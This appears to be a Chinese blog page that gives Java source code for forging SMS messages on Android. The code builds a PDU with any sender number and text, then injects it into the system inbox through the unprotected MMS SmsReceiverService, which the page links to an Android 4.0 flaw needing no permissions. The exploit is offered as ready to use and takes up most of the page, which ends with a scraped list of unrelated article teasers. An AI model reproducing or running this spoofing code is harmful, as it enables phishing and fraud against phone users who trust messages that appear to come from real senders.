Android 伪造短信
//伪造短信到系统信箱private static void createFakeSms(Context context, String sender,String body) {byte[] pdu = null;byte[] scBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD("0000000000");byte[] senderBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD(sender);int lsmcs = scBytes.length;byte[] dateBytes = new byte[7];Calendar calendar = new GregorianCalendar();dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR)));dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH)));dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY)));dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE)));dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND)));dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar.get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));try {ByteArrayOutputStream bo = new ByteArrayOutputStream();bo.write(lsmcs);bo.write(scBytes);bo.write(0x04);bo.write((byte) sender.length());bo.write(senderBytes);bo.write(0x00);bo.write(0x00); // encoding: 0 for default 7bitbo.write(dateBytes);try {String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";Class cReflectedNFCExtras = Class.forName(sReflectedClassName);Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod("stringToGsm7BitPacked", new Class[] { String.class });stringToGsm7BitPacked.setAccessible(true);byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,body);bo.write(bodybytes);} catch (Exception e) {}pdu = bo.toByteArray();} catch (IOException e) {}Intent intent = new Intent();intent.setClassName("com.android.mms","com.android.mms.transaction.SmsReceiverService");intent.setAction("android.provider.Telephony.SMS_RECEIVED");intent.putExtra("pdus", new Object[] { pdu });intent.putExtra("format", "3gpp");context.startService(intent);}private static byte reverseByte(byte b) {return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);}public void start(View view) {createFakeSms(getApplicationContext(), "0774110", "createFakeSms success");}
Android 伪造短信相关推荐
- android安全问题(八)伪造短信(利用原生android4.0漏洞)
导读:本文利用android4.0的一个原生漏洞来伪造短信.无须声明任何权限即可伪造发送方为任何号码的短信给用户. android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之 ...
- android安全漏洞(八)伪造短信(利用原生android4.0漏洞)
导读:本文利用android4.0的一个原生漏洞来伪造短信.无须声明任何权限即可伪造发送方为任何号码的短信给用户. android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之 ...
- Android之——短信的备份与还原
转载请注明出处:http://blog.csdn.net/l1028386804/article/details/47091281 眼下,Android手机中的一些软件能够实现手机短信的备份与还原操作 ...
- android 获取短信验证码倒计时
android 获取短信验证码倒计时 public class MainActivity extends Activity { private Button submit; privat ...
- android发送短信
使用android发送短信,需要先进行添加发送,读取短信新的权限: <uses-permissionandroid:name="android.permission.RECEIVE_S ...
- Android接收短信-createFromPdu
createFromPdu(byte[]) method was deprecated in API level 23. Use createFromPdu(byte[], String) inste ...
- android自动回复退订,Android实现短信自动回复,挂电话
原标题:Android实现短信自动回复,挂电话 简单功能,配置一下ITelephoney,ITelephony这个接口不能直接用的. 需要先在src下新建包com.android.internal.t ...
- android sms 接收短信,Android SMS 短信操作
android的短信保存在短信库里,但并提供类似Contacts的公开的Content Provider方便操作.这里简单的介绍下:android中的短信信息保存在/data/data/com.and ...
- androidの读取短信内容
androidの读取短信内容 1. 读取短信内容,很简单,直接上代码 <span style="font-size:14px;"> public Uri SMS_INB ...
最新文章
- 1.(基于欧式距离聚类实现的点云分割)
- HashMap构造函数有哪些
- mysql 隔离级别和锁相关
- Anordighos手绘休闲脚本字体
- arcgis 分区 属性值_ArcGIS制图之Maplex自动点抽稀
- AT4513-[AGC030D]InversionSum【dp】
- python初级进阶篇
- 编程人的「对象」长啥样?
- thinkphp 表单令牌
- 【Java基础知识 17】聊一聊同步代码块
- 传授化学反应方程式的书写技巧
- win10如何退出微软账户
- 滤波器测试系统|矢量网络分析仪滤波器测试软件NSAT-1000
- 使用360浏览器出现域名解析错误和有道词典连接不了网络的解决方法
- 计算机组成原理——计算机基本组成
- 用于链接预测的邻域重叠感知图神经网络
- 关于瓦力机器人的设计构想
- Pinterest如何保存原图,高清大图
- 大四毕业找工作真的很难?
- Activiti的介绍
热门文章
- 令人肝肠寸断的100个签名
- surging 基于流媒体服务如何集群分流
- 应用SuperIO(SIO)和开源跨平台物联网框架ServerSuperIO(SSIO)构建系统的整体方案
- Devops成功的八大炫酷工具
- 18天精读掌握《费曼物理学讲义卷一》 第7天 2019.6.20
- AWS上配置Cisco ASAv AnyConnect
- 【结绳4.0】添加权限
- java游戏三国神兽,三国神兽攻略游戏下载_三国神兽攻略手游安卓版下载-我的世界中文网...
- 这些软件可以快速实现图片翻译文字
- python教程(从入门到巅峰)1